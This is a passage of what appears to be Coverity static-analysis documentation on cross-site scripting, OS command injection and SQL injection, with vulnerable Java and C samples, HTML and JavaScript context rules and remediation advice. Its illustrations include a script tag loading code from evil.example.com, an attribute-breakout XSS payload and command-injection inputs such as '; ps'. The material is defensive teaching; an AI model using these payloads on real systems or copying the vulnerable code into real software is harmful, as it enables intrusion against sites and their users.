15 PrintWriter out = response.getWriter();
16 response.setContentType("text/html");Passing the tainted data through java.lang.String.toString().
Concatenating the tainted data.
For context HTML_PCDATA, expected escaper of kind HTML_ENTITY
but none found.
The user-controllable expression "param" is being concatenated
into the output without the proper sanitization.
Page context: HTML_PCDATA.
Print or output statement where unsafe value is added to HTML output.
Remediation for cross-site scripting in Java:
Escaping needs to be done for the detected context , for example:
Escape.html(taintedData)
where Escape.html escapes tainted data (for HTML). "taintedData" represents the expression "param".
[More Information]
17 out.write("<html><body>Index requested: " + param);
18 out.write("...");![]() | |
For descriptions of the symbolic names for contexts and escapers that are
used in the example, see
Symbolic Names. |
Progression of the security defect:
The attacker is free to execute potentially malicious JavaScript with the following example:
<script src="http://evil.example.com/bad.js"></script>
The security defect would look like this for a potential URL (for example,
blog.example.com):
http://blog.example.com/webApp/?index=<script
src="http://evil.example.com/bad.js"></script>Inserted into the page, the security defect would look like the following (after the attacker causes other users to interact with the malicious link):
<html><body>Index request:<script src="http://evil.example.com/bad.js"></script>
[…]The following XSS example uses a JavaServer Page that displays unsafe data in a request parameter, which is later displayed within a nested context.
The color coding in the example corresponds to the color coding that Coverity Connect provides in its Potential Security Vulnerabilities (CID) reports and remediation advice.
1<%@ page language="java" contentType="text/html; charset=utf-8" 2 pageEncoding="utf-8"%> 3<%@taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> 4<%Reading data from a servlet request, which is considered tainted. A user-controllable string. 5 String needHelp = request.getParameter("needHelp"); 6 if (needHelp == null || needHelp == "") 7 needHelp = "none"; 8%> 9<!DOCTYPE html> 10<html> 11<head> 12 <script src="/webApp/static/js/main.js"></script> 13</head> 14<body> 15For context HTML_ATTR_VAL_DQ, expected escaper of kind HTML_ENTITY but none found. For context JS_STRING_SQ, expected escaper of kind JS_STRING but none found. The user-controllable expression "needHelp" is being concatenated into the output without the proper sanitization. Page context: HTML_ATTR_VAL_DQ JS_STRING_SQ. Unsafe value is added to HTML output here. Perform the following escaping in the following order to guard against cross-site scripting attacks with JSP scriptlets. Escape.html(Escape.jsString(needHelp) where Escape.jsString is a function from Coverity that escapes tainted data (for JavaScript string) , and Escape.html escapes tainted data (for HTML attribute). [More Information] 16 <span onmouseover="lookupHelp('<%= needHelp %>');">Hello Blogger!</span> 17 18 To add a blog, please navigate to ... 19
![]() | |
For descriptions of the symbolic names for contexts and escapers that are
used in the example, see
Symbolic Names |
Progression of the security defect:
bloghelp.jsp (5): The parameter
needHelp is obtained from the HTTP request.
This value is considered tainted until it is sanitized
appropriately.
bloghelp.jsp (16): The value is
concatenated into the HTML double-quoted
onmouseover attribute.
If a user moves the mouse over the span tag, the browser will execute
the DOM onMouseOver() event handler, interpreting
the attribute value as JavaScript directly, with any HTML entities
decoded before use. Therefore, at least two contexts are possible in
this case: The original HTML double-quoted attribute context and the
JavaScript context. Both contexts are vulnerable to the XSS issue and
need to be sanitized in proper order before this defect is
remedied.
The following example executes a simple JavaScript pop-up:
none')||alert('XSSThe Javascipt pop-up function would look as follows in a potential URL (for
example, blog.example.com):
http://blog.example.com/webApp/?needHelp=none')||alert('XSSInserted into the page, it would look like the following:
<span onmouseover="lookupHelp('none')||alert('XSS');">Hello Blogger!</span>Again, the attacker only needs to cause users to interact with the malicious link.
The following example shows an XSS issue that uses Spring Web MVC, binding request parameters to a bean, which is used in a JavaServer Page. The parameter is later displayed within HTML.
The color coding in the example corresponds to the color coding that Coverity Connect provides in its Potential Security Vulnerabilities (CID) reports and remediation advice.
19 @Controller
20 @RequestMapping(value = "/index")
21 public class HomeController {
22
23 private static final Logger logger = LoggerFactory.getLogger(HomeController.class);
24
25 @RequestMapping(value = "/", method = RequestMethod.POST)Entering this function as a framework entry point. Parameter "content"
is tainted because it comes from a servlet request.
A user-controllable string.
Parameter "content" receives the tainted data.
26 public String home(String content, Model model) {Passing the tainted data through
org.springframework.ui.Model.addAttribute(java.lang.String, java.lang.Object).
27 model.addAttribute("blog_content", content);
28
29 return "show-blog";
30 }
31 }46 <h1>Blog Entry</h1> 47 <div style="display:block; background: #efefef"> For context HTML_PCDATA, expected escaper of kind HTML_ENTITY but none found. The user-controllable expression "${blog_content}" is being concatenated into the output without the proper sanitization. Page context: HTML_PCDATA. Unsafe value is added to HTML output here.Remediation for cross-site scripting in EL: Escaping needs to be done for the detected context , for example: fn:escapeXml(blog_content) where fn:escapeXml escapes tainted data (for HTML). [More Information] 48 ${blog_content}
![]() | |
For descriptions of the symbolic names for contexts and escapers that are
used in the example, see
Symbolic Names |
Progression of the security defect:
The attacker is free to execute potentially malicious JavaScript with the following example:
<script src="http://evil.example.com/bad.js"></script>
The security defect would look as follows for a potential URL (for example,
blog.example.com), when performed as a POST:
POST /webApp/ HTTP/1.1
Host: blog.example.com
…
content=<script%20src="http://evil.example.com/bad.js"></script>Inserted into the page, the security defect would look as follows (after the
attacker gets other users to interact with a malicious page that performs the
POST):
<div style="display:block; background: #efefef">
<script src="http://evil.example.com/bad.js"></script>A stored (or persistent) XSS defect is a kind of XSS defect in which untrusted, user-supplied data is stored by a Web application in a database and then retrieved and used to construct HTML output without adequate validation, escaping, or filtering. By including arbitrary JavaScript in data (such as a Web page comment) that is persisted by the Web application, this vulnerability allows a malicious attacker to execute the JavaScript on a Web page that is accessed by other users. This tainted data is later retrieved and displayed in the browser for other users of the application, at which point the injected script is executed.
In the following example, tainted data from a servlet request makes its way
into persisted stored data through a field in the Book entity
class. A stored_xss defect is reported when this entity field is
retrieved at any point in the program and used in an unsafe context (as in the
doGet request handler below).
@Entity
class Book {
String title;
Book(String title) { this.title = title; }
}
class Test_StoredXSS extends HttpServlet {
EntityManager entityManager;
public void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
entityManager.getTransaction().begin();
entityManager.persist (new Book (req.getParameter("book-title")));
entityManager.getTransaction().commit();
entityManager.close();
}
public void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
entityManager.getTransaction().begin();
List<Book> result = entityManager.createQuery(
"SELECT b from Book AS b", Book.class).getResultList();
for (Book book : result) {
resp.getWriter().println("Book: " + book.title); // Stored XSS defect
}
entityManager.getTransaction().commit();
entityManager.close();
}
}When fixing an issue, you need to understand the current context, the safety
obligations for that context, and what characters or sequences violate these
obligations. A context defines a subset of a language and syntax rules. For
example, the following TAINTED_DATA_HERE text occurs in an HTML
double-quoted attribute context.
<span id="TAINTED_DATA_HERE">Some text here</span>When tainted data is able to circumvent a context, it can lead to a security
issue, such as XSS or SQLi. For example, once outside of an HTML double-quoted
attribute context, the inserted data can create a new attribute such as
onmouseover. This attribute name is a DOM event handler.
Browsers interpret the attribute's value as JavaScript, permitting XSS.
Each context has a set of safety obligations many of which are met by not inserting characters with special meaning within that context. This could be performed, for example, by a function that changes a character into a form that is acceptable for the context before insertion. Some contexts require more than character-level safety obligations. For example, when inserting characters into an HTML attribute name, not only are certain characters disallowed, a set of names should also be disallowed, since they might create an XSS issue.
A nested context occurs when more than one context exists for a given piece of
data. An example is the common HTML <a> anchor element
and its href attribute:
<a href="TAINTED_DATA_HERE">Click Me!</a>In the example, there are currently two contexts that have safety obligations for XSS:
HTML double-quoted attribute
URI
Common libraries exist for sanitizing user data for the first context. However, if the URI context is left untreated, an attacker can execute an XSS attack within it. The URI context is considered to be nested within the HTML double-quoted attribute context. Its safety obligations need to be met before the obligations of the HTML double-quoted attribute context.
The following are common HTML contexts that often receive user-supplied data:
HTML element / PCDATA (parsed character data) context, for example:
<span>TAINTED_DATA_HERE</span>HTML attribute contexts (single and double-quoted); for example, a single quoted context:
<span id='TAINTED_DATA_HERE'></span>URI context nested within an HTML attribute context; for example, a double-quoted context:
<a href="TAINTED_DATA_HERE">click here.</a>A JavaScript string (single and double-quoted) nested within an HTML <script> context; for example, a single-quoted context that is nested within raw HTML text:
<script>
var someVariable = 'TAINTED_DATA_HERE';
</script>For information on all HTML contexts, see Section 7.4, “XSS Contexts”.
Operating System (OS) command injection is an issue that occurs when tainted user data (which is unsafe) is inserted into an API that can create a new OS process or command. The tainted data can change the intent of the new process, possibly executing arbitrary code on the OS if the data is not made safe (by sanitizing the data).
For remediation information, see Section 7.6.3, “OS Command Injection code examples”.
An OS command injection defect can potentially:
Disclose, modify, and delete files or OS resources accessible by the account or user running the Web application.
Directly access internal systems that the application OS can access, such as database systems or other applications. This is called pivoting.
Examine the OS for additional defects that can be exploited to escalate privileges.
The following OS command injection example uses a servlet that constructs a command using unsafe data from a request parameter. The command is executed, displaying the results of a file listing.
9 public class CommandServlet extends HttpServlet {
10
11 protected void doGet(HttpServletRequest request,
HttpServletResponse response)
12 throws ServletException, IOException {
13
14 String outputFile = "foo.out";
15 String fileName = "foo.out";
16 String contentType = "text/plain";
17
18 if (request.getParameter("output") != null)
19 outputFile = request.getParameter("output");
20
21 if (request.getParameter("filename") != null)
22 fileName = request.getParameter("filename");
23
24 PrintWriter out = response.getWriter();
25 response.setContentType(contentType);
26 listFile(outputFile, out);
...
32 private void listFile(String outputFile,
PrintWriter out)
33 throws RuntimeException {
34
35 try {
36
37 String[] command = new String[3];
38 command[0] = "/bin/bash";
39 command[1] = "-c";
40 command[2] = "ls -1 " + outputFile;
41 Process proc = Runtime.getRuntime().exec(command);
...Progression of the security defect:
CommandServlet.java (19):
The parameter output is obtained from the HTTP
request. This value is considered tainted until it is sanitized
appropriately.
CommandServlet.java (26):
The tainted value is passed as a parameter to the
listFile() method.
CommandServlet.java (40):
The parameter value is concatenated into an argument string that is
passed to the Bash command language interpreter.
The attacker is able to change the intent of the command with the following:
; ps
The security defect would look like as follows for a potential URL (for
example, blog.example.com with the servlet deployed at
/blog/list):
http://blog.example.com/blog/list?output=%3B%20ps
![]() | Note: |
|---|---|
The payload has been URL-encoded so that the semicolon and space are not interpreted directly by the Web application. |
The following OS command injection example uses a servlet that constructs a command using unsafe data from a request parameter. The command is executed, displaying the results of a process listing.
9 public class CommandServlet extends HttpServlet {
10
11 protected void doGet(HttpServletRequest request, HttpServletResponse response)
12 throws ServletException, IOException {
13
14 String outputFile = "foo.out";
15 String fileName = "foo.out";
16 String contentType = "text/plain";
17
18 if (request.getParameter("output") != null)
19 outputFile = request.getParameter("output");
20
21 if (request.getParameter("filename") != null)
22 fileName = request.getParameter("filename");
23
24 PrintWriter out = response.getWriter();
25 response.setContentType(contentType);
26 listFile(outputFile, out);
27 findFile(fileName, out);
...
63 private void findFile(String fileName, PrintWriter out)
64 throws RuntimeException {
65
66 try {
67
68 String command = "/usr/bin/find . -name " + fileName;
69 Process proc = Runtime.getRuntime().exec(command);
...Progression of the security defect:
CommandServlet.java
(22): The parameter filename is obtained from the
HTTP request. This value is considered tainted until it is sanitized
appropriately.
CommandServlet.java
(27): The tainted value is passed as a parameter to the
findFile() method.
CommandServlet.java
(68): The parameter value is concatenated into an argument string that
is passed to the find command.
The attacker is able to change the intent of the command with the following:
* -exec ps ;
The security defect would look like as follows for a potential URL (for
example, blog.example.com with the servlet deployed at
/blog/list):
http://blog.example.com/blog/list?
filename=*%20-exec%20ps%20%3B
![]() | Note: |
|---|---|
The payload has been URL-encoded so that the semicolon and space are not interpreted directly by the Web application. |
When fixing an OS command injection defect, you need to understand the context in which the data is being inserted. Common OS command injection contexts that receive user-supplied data include the following:
A command line option, for example:
"someCommand -c -f " + TAINTED_DATA_HERE;A command, for example:
TAINTED_DATA_HERE + " -c -f ouput.txt";For information on all OS command injection contexts, see Section 7.5, “OS Injection Command Contexts”.
Applications typically use constant values when referring to commands. Therefore, this context tends not to receive tainted data. However, the command needs to be examined and understood in cases where the injected data can have adverse effects. Most importantly, you need to understand if the command can execute another command through options or option strings.
For example:
"find -name " + TAINTED_DATA_HERE;If the tainted data contained an -exec argument and a
semicolon (;) at the end, it could execute another command
through a feature in find. The analysis identifies
commands like find as unsafe. Unidentified commands
should be manually reviewed to determine if the inclusion of unsafe
characters or arguments could also change the intent of the command.
Once you understand the context in which user data is inserted, you can determine what remediation strategy is most effective. For more information on different remediation strategies, see Section 7.1.5, “Remediation”.
Actionable remediation requires an understanding of the context where unsafe data outputs, what sanitization method is appropriate for the data within that context (or contexts), and what technologies are in use within the code itself. Coverity produces actionable remediation based upon these attributes and other information about the program that is available during the analysis of the code, providing you information needed to fix the issue quickly and accurately.
Sanitizers are functions or methods applied to user data that fulfill the safety obligations for some set of contexts by escaping data, filtering or removing data, or validating if the data is safe to use.
Escapers:
Some contexts allow for the insertion of special characters if the characters
are changed in some way. Coverity defines an escaper as a function that modifies
tainted data by changing some set of characters into a different form. In its
escaped form, tainted characters can now meet the safety obligations for a given
context. For example, HTML escapers often change the less-than sign
(<) to < (HTML
character reference). This form meets the safety obligations for many different
HTML contexts. However, this form is inappropriate for other contexts such as
JavaScript. Escapers that are designed for one context and applied to another
might introduce an issue.
Filters:
Coverity defines a filter as a function that removes some set of characters from tainted data. Some contexts do not have the concept of an escaped form. To meet the safety obligations for such a context, you might need to use a filter to remove these special characters. However, filters that are used or coded incorrectly can fail to meet the security obligations of a given context, allowing issues to occur.
Validators:
Coverity defines a validator as a function that determines whether tainted data contains a set of characters. Unlike a filter or escaper, a validator does not modify tainted data. Because of the complexity of meeting safety obligations for certain contexts, it might be more appropriate to use a validator to ensure the data meets certain criteria, such as safety.
The type of technology that you use helps determine the type of remediation advice
that you need. For SQLi, a common remediation strategy is to parameterize the SQL
statement and then pass the tainted data as a parameter. The technology that you use
defines the type of parameterization to use. For example, if
java.sql.Statement is detected, you are advised to use the
java.sql.PreparedStatement API and to parameterize using the
appropriate JDBC rules.
Coverity offers open source libraries of sanitizers:
The libraries include sanitizers for difficult contexts that usually are not supported by other libraries, such as CSS strings and JavaScript regular expressions.
The following links provide additional information on Web application issues, including SQLi and XSS:
Coverity Analysis comes with a suite of security checkers that also check for quality-related defects in code. Although all defects can have security implications, these checkers in particular find potential security problems.
Coverity security checkers find many coding defects that can lead to security defects. These defects include improper stack or heap access, integer overflows, buffer overflows, race conditions, UNIX- and Windows-specific bugs, insecure coding practices, and improper management of user-controllable strings. These defects can lead to memory corruption, privilege escalation, unauthorized reading of memory or files, process or system crashes, and denial of service.
While constantly interacting with an untrusted outside world, modern applications and systems must maintain a high level of reliability and availability. Data obtained from the outside world must be considered unsafe until it has been scanned and validated. Coverity analyzes and tracks untrusted, suspect data to pinpoint local or interprocedural security holes.
Coverity security checkers use the following terms throughout their configuration, analysis, and reporting:
Source: Outside data can come from a variety of sources: files, environment variables, network packets, command-line arguments, user-space to kernel-space memory, and so on.
Tainted data: Outside data that has yet to be scanned and validated.
Sanitize: The process of scanning and validating tainted data.
Sink: Functions that must be protected from tainted data, such as memory allocators and certain system calls.
Functions that transfer tainted data between arguments (for example,
memcpy) or through a return value (for example, atoi) are seen
as transitively tainting a given interface.
You can increase security checker effectiveness with the
cov-make-library (see Section 7.7, “Security Commands”)
command. Although the security checkers ship with a large collection of models for known
functions from commonly used libraries (Win32, POSIX, and STL), Coverity recommends that you
inspect your code where known security properties can be tracked and that you create custom
models using Coverity primitives. Code you should inspect include where the application reads
from files, from the network, interacts with a user, or generally encounters and processes
any outside (untrusted) data. Creating custom models for security-specific properties of
functions is an easy way to prevent false negatives, while at the same time increasing the
quality of defects found.
Standard API models (POSIX, Win32, and STL) are in the Coverity Analysis installation directory.
The Coverity analysis tracks tainted data as it moves through the system
and reports when it is sent to a sink. Coverity Analysis comes configured with information about certain
source and sink functions (for example, open and
strcpy). Coverity Analysis checks for five types of input validation
vulnerabilities. As illustrated in the following figure, these checkers detect diverse
vulnerabilities, which lend themselves to a variety of exploits.
For Coverity C/C++ security checkers, see Appendix H, Checker History .
Generic bugs that introduce incorrect logic can lead to vulnerabilities if the code in question is used to implement a security policy. Coverity offers a number of C/C++ security checkers that find such vulnerabilities. These checkers include BAD_COMPARE, CONSTANT_EXPRESSION_RESULT, COPY_PASTE_ERROR, MISSING_BREAK, and NO_EFFECT. For example, the BAD_COMPARE checker reports cases where the return value of a function was intended to be checked, but instead the address of the function is checked.
In the following example, the intended behavior of the program is to allow only the
superuser to use the option -configure. Since geteuid==0
always evaluates to false, any user can use the
-configure option.
Example (from real source code):
if (!strcmp(argv[i], "-configure"))
{
if (getuid() != 0 && geteuid == 0) {
ErrorF("The '-configure' option can only be used by root.\n");
exit(1);
}
xf86DoConfigure = TRUE;
xf86AllowMouseOpenFail = TRUE;
return 1;Source: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0745
![]()
If memcmp returns a number that is divisible by 256 in the
following example, check_scramble will return 0, and the
program will treat the check as though it passed. The result is that an attacker can
bypass a password check by trying out approximately 256 random passwords. The
BAD_COMPARE checker finds instances of such issues.
char
check_scramble(const char *scramble_arg, const char *message,
const uint8 *hash_stage2)
{
...
return memcmp(hash_stage2, hash_stage2_reassured, SHA1_HASH_SIZE);
}The example uses incorrect logic because the intent was to check whether
memcmp returns 0. That is, the erroneous line was intended
to be memcmp(...)!=0, but the code is written to act like
(memcmp(...) % 256)!=0, where % is the remainder
operator
Double-free defects (reported by the USE_AFTER_FREE checker) can be used to exploit
internal bookkeeping data managed by the memory allocator in order to strategically
overwrite memory. In the following example (from http://cwe.mitre.org/data/definitions/415.html
), an attacker
might be able to change the behavior of the program with a crafted argument.
#include <stdio.h>
#include <unistd.h>
#define BUFSIZE1 512
#define BUFSIZE2 ((BUFSIZE1/2) - 8)
int main(int argc, char **argv) {
char *buf1R1;
char *buf2R1;
char *buf1R2;
buf1R1 = (char *) malloc(BUFSIZE2);
buf2R1 = (char *) malloc(BUFSIZE2);
free(buf1R1);
free(buf2R1);
buf1R2 = (char *) malloc(BUFSIZE1);
strncpy(buf1R2, argv[1], BUFSIZE1-1);
free(buf2R1);
free(buf1R2);
}Specific attack details are highly dependent on the implementation of the memory
allocator used. For an in-depth discussion of potential techniques that are geared
towards the implementation in GNU libc, see The
Malloc Maleficarum
.
In general, to remedy SQL injection issues, you need to take one or more of the following actions:
Parameterize the statement appropriately for the technology in use, binding values to parameters within the statement.
Validate user-supplied values against known safe values. Concatenate the constant values into the SQL statement.
Type cast to safe types (such as integers), and append the value into the SQL statement.
SQL identifiers (such as keywords, functions, and so on) usually cannot be parameterized. If an identifier needs to be dynamically inserted into a statement, its value should originate from a constant string or enumeration. User-supplied values can be compared against known safe values for conditional choices, with the constant value concatenated to the statement.
Injection example:
String queryString = "SELECT * FROM Employee WHERE Employee.firstName
= ? " + TAINTED_DATA_HERE + " by Employee.lastName";Examples that provide remediation advice and code for specific technologies:
JDBC: See Section 7.6.1.1, “SQL identifier JDBC”.
Hibernate HQL: See Section 7.6.1.2, “SQL identifier HQL”.
Hibernate SQL: See Section 7.6.1.3, “SQL identifier Hibernate native query”.
JPA JPQL: See Section 7.6.1.4, “SQL identifier JPQL”.
JPA SQL: Section 7.6.1.3, “SQL identifier Hibernate native query”.
SQL IN clauses pose difficult remediation challenges. Traditional
technologies like JDBC do not offer a direct way to bind a variable amount of values
into a statement. This issue leads to an anti-pattern in which the values are directly
concatenated into the statement.
There are two general strategies for remedying SQL injection within an IN
clause:
In all cases, create a List of tainted (and possibly some
untainted) values.
For supporting technologies (JPA 2.0 JPQL, Hibernate HQL, and so on), pass in
this List directly, bound to a named parameter.
For other technologies like JDBC:
Create a SQL fragment of parameters with the same count as
List members.
Concatenate this value into the SQL statement.
Iterate through the tainted List, binding values to the
parameter in the statement.
Injection example:
String query = "SELECT * FROM Employee WHERE Employee.number in
(" + TAINTED_DATA_HERE + ", 2)";Examples that provide remediation advice and code for specific technologies:
JDBC: See Section 7.6.1.6, “SQL IN clause: JDBC”.
Hibernate HQL: See Section 7.6.1.7, “SQL IN clause: HQL”.
Hibernate SQL: See Section 7.6.1.8, “SQL IN clause: Hibernate native query”.
JPA JPQL: See Section 7.6.1.9, “SQL IN clause: JPQL”.
JPA SQL: See Section 7.6.1.10, “SQL IN clause: JPA native query”.
SQL APIs (JDBC, Hibernate, and so on) allow the parameterization of different types of data. APIs for SQL strings, integers, or other data values are some of the most common. To remedy SQL injection with string and data values, parameterize the SQL statement, and bind the values to parameters within the statement.
Injection example:
String queryString = "SELECT * FROM my_table WHERE userid = ?
AND name = '" + TAINTED_DATA_HERE + "'";Examples that provide remediation advice and code for specific technologies:
Hibernate HQL: Section 7.6.1.12, “SQL string: HQL”.
Hibernate SQL: Section 7.6.1.13, “SQL string: Hibernate native query”.
JPA JPQL: Section 7.6.1.14, “SQL string: JPQL”.
SQL LIKE clauses use special characters to perform wildcard matching. To
remedy both SQL injection and preserve the meaning of the query:
Parameterize the SQL statement.
Escape the percent sign (%, U+0025) and underscore
(_, U+005F) characters within the string used in
the LIKE query ‘%...%’.
Bind the value to a parameter within the LIKE clause.
Injection example:
String queryString = "SELECT * FROM my_table WHERE userid = ?
AND name LIKE '%" + TAINTED_DATA_HERE +"%'";Examples that provide remediation advice and code for specific technologies:
JDBC: See Section 7.6.1.16, “SQL LIKE string: JDBC”.
Hibernate HQL: See Section 7.6.1.17, “SQL LIKE string: HQL”.
Hibernate SQL: See Section 7.6.1.18, “SQL LIKE string: Hibernate native query”.
JPA JPQL: See Section 7.6.1.19, “SQL LIKE string: JPQL”.
JPA SQL: See Section 7.6.1.20, “SQL LIKE string: JPA native query”.
![]() | |
Coverity provides Section 7.4.25, “Coverity sanitizers”, an escaping library for
SQL This escaper does not prevent SQL injection issues. It preserves the meaning of
the |
SQL identifiers (such as table names, columns, and so on) usually cannot be parameterized. If an identifier needs to be dynamically inserted into a statement, its value should originate from a constant string or enumeration. User-supplied values can be compared against constant values for conditional choices, with the constant value concatenated to the statement.
Examples that provide remediation advice and code for specific technologies:
JDBC: See Section 7.6.1.21, “SQL table name: JDBC”.
Hibernate HQL: See Section 7.6.1.22, “SQL table name: HQL”.
Hibernate SQL: See Section 7.6.1.23, “SQL table name: Hibernate native query”.
JPA JPQL: See Section 7.6.1.24, “SQL table name: JPQL”.
JPA SQL: See Section 7.6.1.25, “SQL table name JPA native query”.
HTML5 defines the raw text context
as content between the following
tags:
<script>
<style>
![]() | |
Note: These contexts include some child context. Injection example:
<script>
var = 'TAINTED_DATA_HERE';
</script>
|
The parent context is the HTML raw text (script) with a child context, a JavaScript single-quoted string (see Section 7.4.13, “JavaScript: Single quoted string”).
Ideal safety obligations preclude inserting an end tag that matches the start tag name, by escaping, filtering, or validating. This would close the raw text context and would create a transition to a new context. Escaping must be performed through a mechanism that is supported by the nested (child) context. If the nested context cannot support escaping, the values should be removed through filtering.
Minimal safety obligations preclude inserting both the less-than sign
(<, U+003C) and forward-slash (/,
) through escaping. Escaping must be performed
though a mechanism that is supported by the nested (child) context. If the nested
context cannot support escaping, you need to avoid inserting tainted data into this
context. For example, common JavaScript string escapers escape the forward-slash
character by backslash escaping. This produces a sequence of U+002F<\/, which
makes it infeasible to close the context.
HTML5 defines the RCDATA context
as content between the following tags:
<textarea>
<title>
Injection example:
<title>Blog of TAINTED_DATA_HERE</title>Ideal safety obligations preclude inserting an end tag that matches the start tag name (either by escaping as HTML character references, filtering, or validating) because it closes the context and enters a new context.
Minimal safety obligations preclude inserting the less-than sign (<,
U+003C) through escaping. When used, common HTML escapers encode the
less-than sign into a character reference (<), which makes
it infeasible to close the context.
HTML5 does not use the term PCDATA directly. Rather, the standard uses the term normal elements
. This context includes flexible content
within most other elements.
Injection example:
<span>Here are the results of TAINTED_DATA_HERE</span>There are no ideal safety obligations for the range of normal elements because individual elements might have more specific requirements.
Minimal safety obligations preclude inserting the less-than sign (<,
U+003C) and Section 7.4.22, “Ambiguous ampersand”
(&, U+0026) through escaping as HTML character
references. When used, common HTML escapers encode the less-than sign and ampersand into
character references (< or &,
respectively), which makes it infeasible to close the context.
Coverity offers Section 7.4.25, “Coverity sanitizers”, an escaping library for HTML that meets the ideal safety obligations.
HTML5 defines single-quoted and double-quoted attributes
.
Single-quoted attributes: ',
U+0027
Double-quoted attributes: ", U+0022
Injection example:
<div id="TAINTED_DATA_HERE">
<span>Testing blog</span>
</div>Ideal safety obligations preclude inserting a matching quote character or ambiguous
ampesand (amp;, U+0026) through escaping as HTML
character references. Most common HTML escapers enforce these obligations. (See Section 7.4.22, “Ambiguous ampersand”.)
Coverity offers Section 7.4.25, “Coverity sanitizers”, an escaping library for HTML attribute strings that meets the minimal safety obligations.
HTML5 defines the unquoted attribute context
as an HTML attribute content that
is delimited by zero or more white space characters (see Section 7.4.23, “HTML: White space character”), rather than by a quote character.
Injection example:
<div id=TAINTED_DATA_HERE>
<span>Testing blog</span>
</div>Ideal safety obligations preclude inserting the characters listed below, either by escaping as HTML character references, filtering, or validating. This would close the unquoted context, entering a variety of different contexts, such as attribute name or normal element / PCDATA.
Space characters: See Section 7.4.23, “HTML: White space character”.
Double-quote (", U+0022)
Ambiguous ampersand (&, U+0026): See Section 7.4.22, “Ambiguous ampersand”
Single-quote (', )U+0027
Less-than sign (<, U+003C)
Forward slash (solidus, /, )
U+002F
Equal sign (=, U+003D)
Greater-than sign (>, U+003E)
Grave accent (`, U+0060)
Because of the complexity of this context, there are no minimal safety obligations. Rather, the context should be avoided and refactored as a double-quote context, for example:
<div id="TAINTED_DATA_HERE"> … You should also follow the guidance for Section 7.4.6, “HTML: Double quoted attribute”. Single-quote context is not recommended because many URI encoders do not encode the single quote when in a query.
HTML5 defines the comment context
as any content between the
<!-- and --> sequences.
Injection example:
<!-- TAINTED_DATA_HERE -->Ideal safety obligations preclude inserting the characters or sequences below, by escaping as HTML character references.
Start with > (greater-than sign, U+003E)
Start with -> (hyphen, U+002D, followed by
greater-than sign, U+003E)
Contain -- (two hyphens, U+002D)
End with a - (hyphen, U+002D)
Minimal safety obligations preclude inserting a > (greater-than sign,
U+003E) by escaping. When used, common HTML escapers encode the
greater-than sign into a character reference (that is, convert to
>), making it infeasible to close the context.
HTML5 defines the attribute name
syntax.
Injection example:
<div TAINTED_DATA_HERE="bar">
<span>Testing blog</span>
</div>Ideal safety obligations preclude inserting the characters below, filtering or validating the content. No escaping is possible for this context.
Null, U+0000
Space characters: See Section 7.4.23, “HTML: White space character”.
Control and undefined characters: See Section 7.4.24, “HTML: Control or undefined Unicode character”.
Double quote (", U+0022)
Single quote (', ) U+0027
Forward slash (solidus, /, )
U+002F
Equal sign, (=, U+003D)
Greater-than sign (>, U+003E)
Other ideal safety obligations require avoiding some attribute names, including names
that interpret the attribute values in potentially unsafe ways, such as
href, the on DOM event handlers, src, and so
on.
Because of the complexity of this context, there are no minimal safety obligations. Rather, the context should be avoided. If it is necessary to insert tainted values into this context, only allow a predefined list of values, or append filtered characters to known, safe prefixes.
HTML5 defines the tag name
syntax.
Injection example:
<TAINTED_DATA_HERE> <span>Testing blog</span></TAINTED_DATA_HERE>
Ideal safety obligations include inserting only the following characters. No escaping is possible for this context.
0-9 ( to
U+0030)U+0039
A-Z (U+0041 to U+005A)
a-z ( to
U+0061)U+007A
Other ideal safety obligations require that some tag names should be avoided. These
include names that change the context to those that can introduce XSS defects, such as
script, a, and so on.
Because of the complexity of this context, there are no minimal safety obligations. Rather, the context should be avoided. If it is required to dynamically insert tainted values within this context, only allow a predefined list of values, or append filtered characters to known, safe prefixes.
The URI context is comprised of numerous sub-contexts. RFC 3986
provides
details on each of them.
![]() | |
This context always includes some parent context. |
Injection example:
<a href="TAINTED_DATA_HERE">Click me!</a>
The parent context is the HTML double-quoted attribute context (see Section 7.4.6, “HTML: Double quoted attribute”) with the URI as the child context.
There are no ideal safety obligations for the range of sub-contexts because individual sub-contexts might have more specific requirements.
According to the RFC, the following characters can reside within the URI query context directly:
0-9 (U+0030 to )U+0039
A-Z (U+0041 to )U+005A
a-z (U+0061 to U+007A)
Exclamation point (!, U+0021)
Dollar sign ($, U+0024)
Ampersand (&, U+0026)
Single-quote (', )U+0027
Left parentheses ( (, U+0028)
Right parentheses ( ), U+0029)
Asterisk (*, U+002A)
Plus sign (+, U+002B)
Comma (,, U+002C)
Minus sign (-, U+002D)
Period (., U+002E)
Colon (:, U+003A)
Semicolon (;, U+003B)
Equal sign (=, U+003D)
At sign (@, U+0040)
Underscore (_, U+005F)
Tilde (~, U+007E)
A subset of these characters should further be percent encoded so that they will not be interpreted as query key/value delimiters.
Ampersand (&, U+0026)
Colon (:, U+003A)
Semicolon (;, U+003B)
Equal sign (=, U+003D)
Some of these characters have security obligations for parent contexts, such as the single-quote. Minimal safety obligations use percent-encoding escaping for all non-alphanumeric values.
Coverity offers Section 7.4.25, “Coverity sanitizers”, an escaping library for URIs that meets near-RFC compliance for URI queries while meeting safety obligations for other contexts.
ECMA 262 defines the ECMAScript language
, of which JavaScript is a dialect. The
standard defines a string literal syntax for both ' and "
strings in section 7.8.4 (of the ECMA PDF file).
Injection example:
var blogComment = 'TAINTED_DATA_HERE'; logBlogComment(blogComment, "TAINTED_DATA_HERE_TOO");
Ideal safety obligations preclude inserting the following characters through escaping, filtering, or validating. These characters could close or change the context.
Back space (U+0008)
Tab (U+0009)
Line feed (U+000A)
Vertical tab (U+000B)
Form feed (U+000C)
Carriage return (U+000D)
Double-quote (", U+0022)
Single-quote (', U+0027)
Backslash (\, U+005C)
Line separator (U+2028)
Paragraph separator (U+2029)
Minimal safety obligations preclude inserting a matching quote character and a backslash. While the inclusion of the line formatting characters will cause a parse error by a compliant JavaScript parser, it will not create an XSS defect.
Coverity offers Section 7.4.25, “Coverity sanitizers”, an escaping library for JavaScript strings that meets the ideal safety obligations.
ECMA 262 defines the ECMAScript language
, of which JavaScript is a dialect. The
standard defines multi-line (block) and single line comment syntax in section 7.4 (of
the ECMA PDF file).
Injection example:
var testReturn = "testBlogReturn" // TAINTED_DATA_HERE var testScript = "testBlog"; /* TAINTED_DATA_HERE */
